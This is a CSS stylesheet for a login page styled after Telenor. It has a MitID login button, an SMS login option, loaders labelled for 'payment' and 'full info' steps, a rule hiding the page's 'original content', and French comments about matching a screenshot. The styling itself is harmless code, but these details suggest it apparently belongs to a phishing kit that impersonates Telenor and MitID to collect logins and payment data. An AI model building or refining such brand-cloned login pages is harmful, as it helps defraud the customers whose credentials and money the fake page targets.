* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'TelenorEvolutionUI', Arial, Helvetica, sans-serif;
    height: 100vh;
    overflow: hidden;
}

.container {
    display: flex;
    height: 100%;
    width: 100%;
}

/* Left Panel Styling */
.left-panel {
    width: 50%;
    background: radial-gradient(circle at top left, #0010A0 0%, #002776 40%, #0091FF 100%);
    color: white;
    padding: 60px 80px;
    display: flex;
    flex-direction: column;
    position: relative;
    /* Fallback background if gradient doesn't match perfectly, trying to match the deep blue/cyan vibe */
    background: linear-gradient(135deg, #00008B 0%, #002060 40%, #2080FF 100%);
}

.logo {
    margin-bottom: 40px;
}

.logo img {
    display: block;
    filter: brightness(0) invert(1); /* Rend le logo blanc pour le fond bleu */
}

.welcome-text {
    font-size: 64px;
    font-weight: 700;
    line-height: 1.1;
    margin-top: 40px;
    max-width: 600px;
}

.slider-content {
    margin-top: auto; /* Pushes content to bottom */
    margin-bottom: 30px;
    max-width: 500px;
    background-color: rgba(0, 0, 0, 0.3); /* Background color à 30% d'opacité */
    padding: 30px;
    border-radius: 8px;
    position: relative;
    overflow: hidden;
}

.slider-indicators {
    display: flex;
    gap: 12px;
    margin-bottom: 24px;
}

.indicator {
    width: 24px;
    height: 2px;
    background-color: rgba(255, 255, 255, 0.5);
    border-radius: 2px;
    cursor: pointer;
    transition: background-color 0.3s ease;
}

.indicator.active {
    background-color: #fff;
}

.slider-wrapper {
    position: relative;
    min-height: 120px;
}

.slide {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    opacity: 0;
    visibility: hidden;
    transform: translateX(20px);
    transition: opacity 0.5s ease, transform 0.5s ease, visibility 0.5s ease;
    pointer-events: none;
}

.slide.active {
    opacity: 1;
    visibility: visible;
    transform: translateX(0);
    position: relative;
    pointer-events: auto;
}

.slider-content h2 {
    font-size: 20px;
    font-weight: 700;
    margin-bottom: 12px;
}

.slider-content p {
    font-size: 16px;
    line-height: 1.5;
    opacity: 0.9;
}

/* Right Panel Styling */
.right-panel {
    width: 50%;
    background-color: white;
    display: flex;
    align-items: center;
    justify-content: center; /* Horizontally center the inner container */
    padding: 40px;
    position: relative; /* For positioning loader if needed */
}

.login-container {
    width: 100%;
    max-width: 480px; /* Constrain width like in screenshot */
    margin-left: 0; 
    transition: opacity 0.3s ease;
    opacity: 1;
}

.login-container.hidden {
    display: none; /* Changed via JS delay for smooth transition */
    opacity: 0;
}

/* Loader Styles */
.loader-view {
    display: none;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    width: 100%;
    max-width: 480px;
    opacity: 0;
    transition: opacity 0.3s ease;
    position: relative;
}

.loader-view.visible {
    display: flex;
    opacity: 1;
}

.loader-logo {
    margin-bottom: 30px;
}

.loader-logo img {
    display: block;
    width: auto;
    height: auto;
    max-width: 150px;
    object-fit: contain;
}

.spinner {
    width: 50px;
    height: 50px;
    border: 4px solid #f3f3f3;
    border-top: 4px solid #1e3bb3; /* Blue matches button */
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin-bottom: 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loader-text {
    font-size: 18px;
    color: #001030;
    font-weight: 600;
}

.back-button {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    border: 1px solid #E0E0E0;
    background: white;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    margin-bottom: 40px;
    transition: background 0.2s;
}

.back-button:hover {
    background-color: #f5f5f5;
}

.back-button svg {
    stroke: #000;
}

.login-title {
    font-family: serif; /* Using generic serif to match the distinct font */
    font-style: italic;
    font-weight: 800;
    font-size: 42px;
    color: #001030; /* Very dark blue/black */
    margin-bottom: 24px;
    letter-spacing: -0.5px;
}

.login-description {
    font-size: 16px;
    color: #555;
    line-height: 1.5;
    margin-bottom: 40px;
}

.login-form {
    display: flex;
    flex-direction: column;
}

.login-form label {
    font-size: 14px;
    font-weight: 500;
    color: #333;
    margin-bottom: 8px;
}

.login-form input {
    padding: 16px;
    font-size: 16px;
    border: 1px solid #757575;
    border-radius: 4px;
    margin-bottom: 32px;
    outline: none;
    color: #333;
}

.login-form input::placeholder {
    color: #B0B0B0;
}

.login-form input:focus {
    border-color: #0040C0;
    box-shadow: 0 0 0 1px #0040C0;
}

.submit-btn {
    background-color: #1e3bb3; /* Matches the blue button */
    color: white;
    border: none;
    padding: 14px 32px;
    font-size: 16px;
    font-weight: 600;
    border-radius: 30px; /* Pill shape */
    cursor: pointer;
    align-self: flex-start; /* Don't stretch full width */
    transition: background 0.2s;
}

.submit-btn:hover {
    background-color: #152a85;
}

.link-btn:hover {
    color: #001030;
}

.error-message {
    background-color: #ffebee;
    color: #c62828;
    padding: 12px;
    border-radius: 4px;
    margin-bottom: 20px;
    border-left: 4px solid #c62828;
    font-size: 14px;
    line-height: 1.5;
}

.mobile-logo {
    display: none;
}

/* --- Telenor Landing Page Styles (New) --- */
.landing-page {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 40px 20px;
    background-color: #fff;
    min-height: 100vh;
    font-family: 'TelenorEvolutionUI', Arial, sans-serif;
    color: #001030;
    text-align: center;
}

.landing-logo {
    width: 60px;
    height: 60px;
    margin-bottom: 40px;
}

.landing-title {
    font-size: 32px;
    font-weight: 700;
    text-align: center;
    margin-bottom: 40px;
    line-height: 1.2;
}

.mitid-button {
    background-color: #0036e0; /* Telenor/MitID Blue */
    color: white;
    width: 100%;
    max-width: 360px;
    padding: 0 16px;
    border-radius: 30px; /* Pill shape */
    border: none;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 12px;
    margin-bottom: 30px;
    height: 52px;
    transition: background-color 0.2s;
}

.mitid-button:hover {
    background-color: #002db3;
}

.mitid-icon {
    width: 50px;
    height: auto;
    background-color: white;
    padding: 2px 6px;
    border-radius: 4px;
    color: #0036e0;
    font-weight: 900;
    font-size: 14px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.help-link {
    color: #0036e0;
    text-decoration: none;
    font-size: 16px;
    margin-bottom: 40px;
}

.help-link:hover {
    text-decoration: underline;
}

.sms-login-box {
    background-color: #f4f4f7;
    width: 100%;
    max-width: 360px;
    padding: 24px;
    text-align: center;
    border-radius: 4px;
    cursor: pointer;
    transition: background-color 0.2s;
}

.sms-login-box:hover {
    background-color: #e8e8eb;
}

.sms-login-title {
    color: #0036e0;
    font-size: 16px;
    font-weight: 600;
    margin-bottom: 8px;
    display: block;
    text-decoration: none;
}

.sms-login-desc {
    font-size: 14px;
    color: #555;
    line-height: 1.4;
}

/* Hide original content by default */
#originalContent {
    display: none;
}

/* Responsive adjustments */
@media (max-width: 900px) {
    .container {
        flex-direction: column;
        overflow-y: auto;
    }
    
    /* Cacher le panneau gauche (bleu) complètement sur mobile/tablette */
    .left-panel {
        display: none;
    }
    
    /* Le panneau droit prend toute la hauteur et largeur */
    .right-panel {
        width: 100%;
        min-height: 100vh;
        padding: 20px;
        align-items: flex-start; /* Aligner en haut */
    }

    .login-container {
        margin: 0 auto;
        padding-top: 20px;
        width: 100%;
        max-width: 100%;
    }
    
    .mobile-logo {
        display: block;
        margin: 0 auto 40px auto;
        width: 120px;
        height: 60px;
        background-image: url("https://upload.wikimedia.org/wikipedia/commons/thumb/6/60/Telenor_logo.svg/1200px-Telenor_logo.svg.png");
        background-size: contain;
        background-repeat: no-repeat;
        background-position: center;
    }

    .welcome-text {
        font-size: 40px;
    }

    .back-button {
        margin-bottom: 30px;
    }

    .submit-btn {
        width: 100%;
        display: flex;
        justify-content: center;
        align-items: center;
    }

    .login-title {
        font-size: 32px; 
    }

    #loaderView, #paymentLoader, #fullInfoLoader {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100vh;
        z-index: 9999;
        background-color: white;
        margin: 0;
        max-width: none;
        justify-content: flex-start;
        align-items: center;
        padding-top: 60px;
    }

    .loader-view .loader-logo {
        margin-top: 0;
        margin-bottom: 60px;
    }

    .mobile-footer {
        display: block;
        position: fixed;
        bottom: 0;
        left: 0;
        right: 0;
        background-color: #f8f8f8;
        border-top: 1px solid #e0e0e0;
        padding: 20px;
        text-align: center;
        font-size: 12px;
        color: #666;
        z-index: 1000;
    }

    .mobile-footer a {
        color: #1e3bb3;
        text-decoration: none;
        margin: 0 10px;
    }

    .mobile-footer a:hover {
        text-decoration: underline;
    }

    .right-panel {
        padding-bottom: 80px;
    }
}

/* Footer Mobile - Hidden on Desktop */
.mobile-footer {
    display: none;
}